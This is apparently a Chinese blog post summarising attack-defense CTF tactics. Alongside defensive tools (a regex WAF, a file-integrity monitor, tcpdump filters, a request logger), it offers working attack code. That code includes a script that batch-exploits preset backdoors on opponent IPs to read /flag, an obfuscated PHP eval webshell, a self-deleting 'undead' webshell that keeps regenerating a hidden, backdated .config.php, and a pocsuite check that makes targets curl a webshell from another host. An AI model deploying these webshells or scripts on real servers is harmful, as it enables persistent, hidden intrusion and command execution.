Hu3sky's blog

线下赛总结

Word count: 3,045 / Reading time: 16 min
2018/04/15 Share

0x00备份

千万要记得扫端口,这很重要,当然这个端口扫描是建立在没有自己靶机权限的情况下。用nmap也行(nmap –sn 192.168.71.0/24),自己写的脚本或者网上找的也行。
主机发现小工具 https://github.com/zer0h/httpscan

比赛开始后第一时间备份服务器中web目录下的文件(/var/www/html)
http://www.cnblogs.com/jiangyao/archive/2011/01/26/1945570.html
。可以用scp命令,也可用一些图形化的工具:Winscp,FileZilla,操作起来比较方便

0x01

口令问题,比赛开始后,如果发现每个队伍的SSH账号密码都是一样,需要立即修改口令
修改方法
修改root密码
登陆完成后首先输入passwd 回车
出现:New password
再输入新密码(新的密码必须是字母数字都有,不然的话不成功) 然后回车

0x02 提权

先查看版本号uname -a
再看对应的提权 给个网站 https://www.anquanke.com/post/id/86984

0x03 预留后门

将服务器中web目录下载到本地,利用D盾扫描,一般就可以发现预留后门
利用脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
import requests
url="http://192.168.71."
url1=""
shell="/Upload/index.php"
passwd="abcde10db05bd4f6a24c94d7edde441d18545"
port="80"
payload = {passwd: 'system(\'cat /flag\');'}
f=open("webshelllist.txt","w")
f1=open("firstround_flag.txt","w")
for i in [51,52,53,11,12,13,21,22,23,31,32,33,41,42,43,71,72,73,81,82,83]:
url1=url+str(i)+":"+port+shell
try:
res=requests.post(url1,payload,timeout=1)
if res.status_code == requests.codes.ok:
print url1+" connect shell sucess,flag is "+res.text
print >>f1,url1+" connect shell sucess,flag is "+res.text
print >>f,url1+","+passwd
else:
print "shell 404"
except:
print url1+" connect shell fail"

f.close()

f1.close()

0x04一句话木马

<?php $sF="PCT4BA6ODSE_";$s21=strtolower($sF[4].$sF[5].$sF[9].$sF[10].$sF[6].$sF[3].$sF[11].$sF[8].$sF[10].$sF[1].$sF[7].$sF[8].$sF[10]);$s22=${strtoupper($sF[11].$sF[0].$sF[7].$sF[9].$sF[2])}['n985de9'];if(isset($s22)){eval($s21($s22));}?>

菜刀配置填 <O>n985de9=QGV2YWwoJF9QT1NUWzBdKTs=</O>

QGV2YWwoJF9QT1NUWzBdKTs=随意变。

不死马

1
2
3
4
5
6
7
8
9
10
11
<?php
set_time_limit(0);
ignore_user_abort(1);
unlink(__FILE__);
while(1){
file_put_contents('./.config.php','<?php $_uU=chr(99).chr(104).chr(114);$_cC=$_uU(101).$_uU(118).$_uU(97).$_uU(108).$_uU(40).$_uU(36).$_uU(95).$_uU(80).$_uU(79).$_uU(83).$_uU(84).$_uU(91).$_uU(49).$_uU(93).$_uU(41).$_uU(59);$_fF=$_uU(99).$_uU(114).$_uU(101).$_uU(97).$_uU(116).$_uU(101).$_uU(95).$_uU(102).$_uU(117).$_uU(110).$_uU(99).$_uU(116).$_uU(105).$_uU(111).$_uU(110);$_=$_fF("",$_cC);@$_();?>');
system('chmod 777 .config.php');
touch("./.config.php",mktime(20,15,1,11,28,2016));
usleep(100);
}
?>

利用预留后门,上传上面的“不死马”并访问,就会一直生成.config.php的一句话木马,木马内容可以自行修改,只要别被其他队伍看懂就行。
这个不死马比较猥琐,解决的方法需要重启apache,或者写一个程序不停kill这个不死马进程。

批量上传 http://www.freebuf.com/sectool/91082.html

0x05 批量发包程序

1
2
3
4
5
6
7
8
9
10
11
12
13
def sender(domain):
#proxies = { "http": "http://127.0.0.1:8888"}
url = domain
post_data ="password=ls"
payload = "header test"
headers = {'content-type': payload,'User-Agent':random.choice(config['USER_AGENTS'])}
request = urllib2.Request(url,post_data,headers)
response = urllib2.urlopen(request,timeout=config['timeout'])
if response.getcode() == 200:
res = response.read()
return res
else:
return 0

0x06 维权

1
2
3
4
5
6
7
8
9
10
11
12
<?php
set_time_limit(0);
ignore_user_abort(1);
unlink(__FILE__);
//file_put_contents(__FILE__,'');
while(1){
file_put_contents('C:\phpStudy\WWW\ctf\.config.php','<?php $sF="PCT4BA6ODSE_";$s21=strtolower($sF[4].$sF[5].$sF[9].$sF[10].$sF[6].$sF[3].$sF[11].$sF[8].$sF[10].$sF[1].$sF[7].$sF[8].$sF[10]);$s22=${strtoupper($sF[11].$sF[0].$sF[7].$sF[9].$sF[2])}[\'n985de9\'];if(isset($s22)){eval($s21($s22));}?>');
system('chmod 777 .config.php');
touch(".config.php",mktime(20,15,1,11,28,2016));
usleep(100);
}
?>

上传这个文件之后,批量访问,就会一直生成木马文件。

0x07 pocsuite

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
def _verify(self):
import re
result = {}
webshellpath = "/ctf/webshell.php" # 配置webshell所在目录
payload = "{domain}" + webshellpath
for pwd in self.pwdList:
exp_url = payload.format(domain=self.url) + '?' + pwd + '=echo "dropsec";'
print exp_url
# exp_url = (payload.format(domain=self.url))
data = {
pwd : u'''echo "dropsec";'''
}
try:
response = req.post(exp_url, data=data, timeout=10, verify=False)
except Exception, e:
return self.parse_output(result)
if response.status_code != 404:
result['VerifyInfo'] = {}
result['VerifyInfo']['status_code'] = response.status_code
result['VerifyInfo']['is'] = 'password wrong'
if 'dropsec' in response.content:
result['VerifyInfo']['url'] = exp_url
result['VerifyInfo']['is'] = 'password yes'
data = {
pwd : u'''system('curl http://192.168.2.3:8080/ctf/webshell.php');'''
#pwd : u'''system('curl http://10.0.1.2');'''
}
try:
response = req.post(exp_url, data=data, timeout=10, verify=False)
result['VerifyInfo']['flag'] = response.content
return self.parse_output(result)
except Exception, e:
return self.parse_output(result)
return self.parse_output(result)

0x08 防御 WAF

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
<?php
//Code By Safe3
function customError($errno, $errstr, $errfile, $errline)
{
echo "<b>Error number:</b> [$errno],error on line $errline in $errfile<br />";
die();
}
set_error_handler("customError",E_ERROR);
$getfilter="'|(and|or)\\b.+?(>|<|=|in|like)|\\/\\*.+?\\*\\/|<\\s*script\\b|\\bEXEC\\b|UNION.+?SELECT|UPDATE.+?SET|INSERT\\s+INTO.+?VALUES|(SELECT|DELETE).+?FROM|(CREATE|ALTER|DROP|TRUNCATE)\\s+(TABLE|DATABASE)";
$postfilter="\\b(and|or)\\b.{1,6}?(=|>|<|\\bin\\b|\\blike\\b)|\\/\\*.+?\\*\\/|<\\s*script\\b|\\bEXEC\\b|UNION.+?SELECT|UPDATE.+?SET|INSERT\\s+INTO.+?VALUES|(SELECT|DELETE).+?FROM|(CREATE|ALTER|DROP|TRUNCATE)\\s+(TABLE|DATABASE)";
$cookiefilter="\\b(and|or)\\b.{1,6}?(=|>|<|\\bin\\b|\\blike\\b)|\\/\\*.+?\\*\\/|<\\s*script\\b|\\bEXEC\\b|UNION.+?SELECT|UPDATE.+?SET|INSERT\\s+INTO.+?VALUES|(SELECT|DELETE).+?FROM|(CREATE|ALTER|DROP|TRUNCATE)\\s+(TABLE|DATABASE)";
function StopAttack($StrFiltKey,$StrFiltValue,$ArrFiltReq){

if(is_array($StrFiltValue))
{
$StrFiltValue=implode($StrFiltValue);
}
if (preg_match("/".$ArrFiltReq."/is",$StrFiltValue)==1){
//slog("<br><br>操作IP: ".$_SERVER["REMOTE_ADDR"]."<br>操作时间: ".strftime("%Y-%m-%d %H:%M:%S")."<br>操作页面:".$_SERVER["PHP_SELF"]."<br>提交方式: ".$_SERVER["REQUEST_METHOD"]."<br>提交参数: ".$StrFiltKey."<br>提交数据: ".$StrFiltValue);
print "360websec notice:Illegal operation!";
exit();
}
}
//$ArrPGC=array_merge($_GET,$_POST,$_COOKIE);
foreach($_GET as $key=>$value){
StopAttack($key,$value,$getfilter);
}
foreach($_POST as $key=>$value){
StopAttack($key,$value,$postfilter);
}
foreach($_COOKIE as $key=>$value){
StopAttack($key,$value,$cookiefilter);
}
if (file_exists('update360.php')) {
echo "请重命名文件update360.php,防止黑客利用<br/>";
die();
}
function slog($logs)
{
$toppath=$_SERVER["DOCUMENT_ROOT"]."/log.htm";
$Ts=fopen($toppath,"a+");
fputs($Ts,$logs."\r\n");
fclose($Ts);
}
?>
  • 使用方法:
    有root权限
    那麽,这样就简单了,直接写在配置中。

vim php.ini

auto_append_file = “/dir/path/phpwaf.php”

重启Apache或者php-fpm就能生效了。

当然也可以写在 .user.ini 或者 .htaccess 中。

php_value auto_prepend_file “/dir/path/phpwaf.php”

只有user权限
没写系统权限就只能在代码上面下手了,也就是文件包含。

这钟情况又可以用不同的方式包含。

如果是框架型应用,那麽就可以添加在入口文件,例如index.php,

如果不是框架应用,那麽可以在公共配置文件config.php等相关文件中包含。

include(‘phpwaf.php’);
还有一种是替换index.php,也就是讲index.php改名为index2.php,然后讲phpwaf.php改成index.php。

当然还没完,还要在原phpwaf.php中包含原来的index.php。

index.php -> index2.php

phpwaf.php -> index.php

include(‘index2.php’);

至于你想用哪种方式,看你心情咯,你开心就好。

  • 文件监控
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    73
    74
    75
    76
    77
    78
    79
    80
    81
    82
    83
    84
    85
    86
    87
    88
    89
    90
    91
    92
    93
    94
    95
    96
    97
    98
    99
    100
    101
    102
    103
    104
    105
    106
    107
    108
    109
    110
    111
    112
    113
    114
    115
    116
    117
    118
    119
    120
    121
    122
    123
    124
    125
    126
    127
    128
    129
    130
    131
    132
    133
    134
    135
    136
    137
    138
    139
    140
    141
    142
    143
    144
    145
    146
    147
    148
    149
    150
    151
    152
    153
    154
    155
    156
    157
    158
    159
    160
    161
    162
    163
    164
    165
    166
    167
    168
    169
    170
    171
    172
    173
    174
    175
    176
    177
    178
    179
    180
    181
    182
    183
    184
    185
    186
    # -*- coding: utf-8 -*-
    # @Author: Nearg1e -- 2016-06-30 10:08:35 --0v0--
    # v demo 0.21 修改了备份的webshell会自己坑自己的情况
    # todo: windows下不支持中文目录
    #use: python file_check.py ./

    import os
    import hashlib
    import shutil
    import ntpath
    import time

    CWD = os.getcwd()
    FILE_MD5_DICT = {} # 文件MD5字典
    ORIGIN_FILE_LIST = []


    # 特殊文件路径字符串
    Special_path_str = 'drops_JWI96TY7ZKNMQPDRUOSG0FLH41A3C5EXVB82'
    bakstring = 'bak_EAR1IBM0JT9HZ75WU4Y3Q8KLPCX26NDFOGVS'
    logstring = 'log_WMY4RVTLAJFB28960SC3KZX7EUP1IHOQN5GD'
    webshellstring = 'webshell_WMY4RVTLAJFB28960SC3KZX7EUP1IHOQN5GD'
    difffile = 'diff_UMTGPJO17F82K35Z0LEDA6QB9WH4IYRXVSCN'

    Special_string = 'drops_log' # 免死金牌
    UNICODE_ENCODING = "utf-8"
    INVALID_UNICODE_CHAR_FORMAT = r"\?%02x"

    # 文件路径字典
    spec_base_path = os.path.realpath(os.path.join(CWD, Special_path_str))
    Special_path = {
    'bak' : os.path.realpath(os.path.join(spec_base_path, bakstring)),
    'log' : os.path.realpath(os.path.join(spec_base_path, logstring)),
    'webshell' : os.path.realpath(os.path.join(spec_base_path, webshellstring)),
    'difffile' : os.path.realpath(os.path.join(spec_base_path, difffile)),
    }


    def isListLike(value):
    return isinstance(value, (list, tuple, set))


    # 获取Unicode编码
    def getUnicode(value, encoding=None, noneToNull=False):

    if noneToNull and value is None:
    return NULL

    if isListLike(value):
    value = list(getUnicode(_, encoding, noneToNull) for _ in value)
    return value

    if isinstance(value, unicode):
    return value
    elif isinstance(value, basestring):
    while True:
    try:
    return unicode(value, encoding or UNICODE_ENCODING)
    except UnicodeDecodeError, ex:
    try:
    return unicode(value, UNICODE_ENCODING)
    except:
    value = value[:ex.start] + "".join(INVALID_UNICODE_CHAR_FORMAT % ord(_) for _ in value[ex.start:ex.end]) + value[ex.end:]
    else:
    try:
    return unicode(value)
    except UnicodeDecodeError:
    return unicode(str(value), errors="ignore")


    # 目录创建
    def mkdir_p(path):
    import errno
    try:
    os.makedirs(path)
    except OSError as exc:
    if exc.errno == errno.EEXIST and os.path.isdir(path):
    pass
    else: raise


    # 获取当前所有文件路径
    def getfilelist(cwd):
    filelist = []
    for root,subdirs, files in os.walk(cwd):
    for filepath in files:
    originalfile = os.path.join(root, filepath)
    if Special_path_str not in originalfile:
    filelist.append(originalfile)
    return filelist


    # 计算机文件MD5值
    def calcMD5(filepath):
    try:
    with open(filepath,'rb') as f:
    md5obj = hashlib.md5()
    md5obj.update(f.read())
    hash = md5obj.hexdigest()
    return hash
    except Exception, e:
    print u'[!] getmd5_error : ' + getUnicode(filepath)
    print getUnicode(e)
    try:
    ORIGIN_FILE_LIST.remove(filepath)
    FILE_MD5_DICT.pop(filepath, None)
    except KeyError, e:
    pass


    # 获取所有文件MD5
    def getfilemd5dict(filelist = []):
    filemd5dict = {}
    for ori_file in filelist:
    if Special_path_str not in ori_file:
    md5 = calcMD5(os.path.realpath(ori_file))
    if md5:
    filemd5dict[ori_file] = md5
    return filemd5dict


    # 备份所有文件
    def backup_file(filelist=[]):
    # if len(os.listdir(Special_path['bak'])) == 0:
    for filepath in filelist:
    if Special_path_str not in filepath:
    shutil.copy2(filepath, Special_path['bak'])


    if __name__ == '__main__':
    print u'---------start------------'
    for value in Special_path:
    mkdir_p(Special_path[value])
    # 获取所有文件路径,并获取所有文件的MD5,同时备份所有文件
    ORIGIN_FILE_LIST = getfilelist(CWD)
    FILE_MD5_DICT = getfilemd5dict(ORIGIN_FILE_LIST)
    backup_file(ORIGIN_FILE_LIST) # TODO 备份文件可能会产生重名BUG
    print u'[*] pre work end!'
    while True:
    file_list = getfilelist(CWD)
    # 移除新上传文件
    diff_file_list = list(set(file_list) ^ set(ORIGIN_FILE_LIST))
    if len(diff_file_list) != 0:
    # import pdb;pdb.set_trace()
    for filepath in diff_file_list:
    try:
    f = open(filepath, 'r').read()
    except Exception, e:
    break
    if Special_string not in f:
    try:
    print u'[*] webshell find : ' + getUnicode(filepath)
    shutil.move(filepath, os.path.join(Special_path['webshell'], ntpath.basename(filepath) + '.txt'))
    except Exception as e:
    print u'[!] move webshell error, "%s" maybe is webshell.'%getUnicode(filepath)
    try:
    f = open(os.path.join(Special_path['log'], 'log.txt'), 'a')
    f.write('newfile: ' + getUnicode(filepath) + ' : ' + str(time.ctime()) + '\n')
    f.close()
    except Exception as e:
    print u'[-] log error : file move error: ' + getUnicode(e)

    # 防止任意文件被修改,还原被修改文件
    md5_dict = getfilemd5dict(ORIGIN_FILE_LIST)
    for filekey in md5_dict:
    if md5_dict[filekey] != FILE_MD5_DICT[filekey]:
    try:
    f = open(filekey, 'r').read()
    except Exception, e:
    break
    if Special_string not in f:
    try:
    print u'[*] file had be change : ' + getUnicode(filekey)
    shutil.move(filekey, os.path.join(Special_path['difffile'], ntpath.basename(filekey) + '.txt'))
    shutil.move(os.path.join(Special_path['bak'], ntpath.basename(filekey)), filekey)
    except Exception as e:
    print u'[!] move webshell error, "%s" maybe is webshell.'%getUnicode(filekey)
    try:
    f = open(os.path.join(Special_path['log'], 'log.txt'), 'a')
    f.write('diff_file: ' + getUnicode(filekey) + ' : ' + getUnicode(time.ctime()) + '\n')
    f.close()
    except Exception as e:
    print u'[-] log error : done_diff: ' + getUnicode(filekey)
    pass
    time.sleep(2)
    # print '[*] ' + getUnicode(time.ctime())

0x09 自动提交flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
#!/usr/bin/env python2
import sys
import json
import urllib
import httplib
server_host = '10.10.0.2'
server_port = 80
def submit(team_token, flag, host=server_host, port=server_port, timeout=5):
if not team_token or not flag:
raise Exception('team token or flag not found')
conn = httplib.HTTPConnection(host, port, timeout=timeout)
params = urllib.urlencode({
'token': team_token,
'flag': flag,
})
headers = {
"Content-type": "application/x-www-form-urlencoded"
}
conn.request('POST', '/api/submit_flag', params, headers)
response = conn.getresponse()
data = response.read()
return json.loads(data)

if __name__ == '__main__':
if len(sys.argv) < 3:
print 'usage: ./submitflag.py $team_token $flag'
sys.exit()
host = server_host
if len(sys.argv) > 3:
host = sys.argv[3]
print json.dumps(submit(sys.argv[1], sys.argv[2], host=host), indent=4)

0x10 通过流量、日志的分析:

一个工具 https://github.com/Bluekezhou/binaryWaf
linux tcpdump使用 流量抓取
tcpdump -s -0 -w flow.pcap port 9999

  • 1.1、过滤主机
    抓取所有经过eth1,目的或源地址是192.168.1.1的网络数据
    tcpdump -i eth1 host 192.168.1.1
    指定源地址
    tcpdump -i eth1 src host 192.168.1.1
    指定目的地址
    tcpdump -i eth1 dst host 192.168.1.1

  • 1.2、过滤端口
    抓取所有经过eth1,目的或源端口是25的网络数据
    tcpdump -i eth1 port 25
    指定源端口
    tcpdump -i eth1 src port 25
    指定目的端口
    tcpdump -i eth1 dst port 25

  • 1.3、网络过滤
    tcpdump -i eth1 net 192.168
    tcpdump -i eth1 src net 192.168
    tcpdump -i eth1 dst net 192.168

  • 1.4、协议过滤
    tcpdump -i eth1 arp
    tcpdump -i eth1 ip
    tcpdump -i eth1 tcp
    tcpdump -i eth1 udp
    tcpdump -i eth1 icmp

记录log脚本

<?php

date_default_timezone_set('Asia/Shanghai');

$ip = $_SERVER["REMOTE_ADDR"]; //记录访问者的ip

$filename = $_SERVER['PHP_SELF'];//访问者要访问的文件名

$parameter = $_SERVER["QUERY_STRING"]; //访问者要请求的参数

$time = date('Y-m-d H:i:s',time()); //访问时间

$logadd = '来访时间:'.$time.'-->'.'访问链接:'.'http://'.$ip.$filename.'?'.$parameter."rn";

// log记录

$fh = fopen("log.txt", "a");

fwrite($fh, $logadd);

fclose($fh);

?>
CATALOG
  1. 1. 0x00备份
  2. 2. 0x01
  3. 3. 0x02 提权
  4. 4. 0x03 预留后门
  5. 5. 0x04一句话木马
  6. 6. 0x05 批量发包程序
  7. 7. 0x06 维权
  8. 8. 0x07 pocsuite
  9. 9. 0x08 防御 WAF
  10. 10. 0x09 自动提交flag
  11. 11. 0x10 通过流量、日志的分析: